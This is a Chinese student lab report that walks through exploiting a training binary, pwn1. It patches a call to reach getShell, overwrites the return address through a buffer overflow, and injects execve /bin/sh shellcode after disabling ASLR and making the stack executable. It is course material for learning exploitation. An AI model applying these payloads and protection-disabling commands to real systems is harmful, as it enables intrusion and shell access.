20155304田宜楠《网络对抗技术》Exp1 PC平台逆向破解(5)M

Exp1 PC平台逆向破解(5)M


实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:机器码90 空指令,继续执行NOP后面的一条指令
  • JNE:机器码75 条件转移指令,不等则跳转
  • JE:机器码74 条件转移指令,相等则跳转
  • JMP:无条件转移指令,short(机器码:EB)段内直接近转移Jmp;near(机器码:E9)段内间接转移Jmp;word(机器码:FF)段间直接(远)转移Jmp;far(机器码:EA)
  • CMP:机器码39 比较指令,相当于减法指令,对操作数之间运算比较,不保存结果

实践内容

实践一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

使用objdump -d pwn1将pwn1反汇编,得到以下代码(部分):

20155304田宜楠《网络对抗技术》Exp1 PC平台逆向破解(5)M

call 8048491 修改为call 804847d ,需要将d7修改为c3

vi打开编辑文件;

:%! xxd将文件转换为十六进制编辑模式;

/找到修改位置;

i进入编辑模式;

:%! xxd -r转回二进制模式;

:wq保存退出

修改后进行反汇编:

20155304田宜楠《网络对抗技术》Exp1 PC平台逆向破解(5)M

实践二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

攻击目标是触发函数getshell

分别输入1111111122222222333333334444444455555555和1111111122222222333333334444444412345678来进行测试

20155304田宜楠《网络对抗技术》Exp1 PC平台逆向破解(5)M

20155304田宜楠《网络对抗技术》Exp1 PC平台逆向破解(5)M

可知占用返回地址的压栈数据为4321

接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

对比之前 eip 0x34333231 0x34333231 ,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08。

构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

可以使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入,通过管道符“|”,作为pwn1的输入。

20155304田宜楠《网络对抗技术》Exp1 PC平台逆向破解(5)M

实践三:注入一个自己制作的shellcode并运行这段shellcode。

  • shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

apt-get install execstack 安装execstack

准备工作:

修改些设置。

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space

构造要注入的payload。

我们将shellcode的代码写入文件中,并运行该程序

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开另一个终端,输入ps -ef | grep pwn1查询其进程号

攻击成功截图:

20155304田宜楠《网络对抗技术》Exp1 PC平台逆向破解(5)M

上一篇:AngleSharp一些示例


下一篇:字符串API练习三则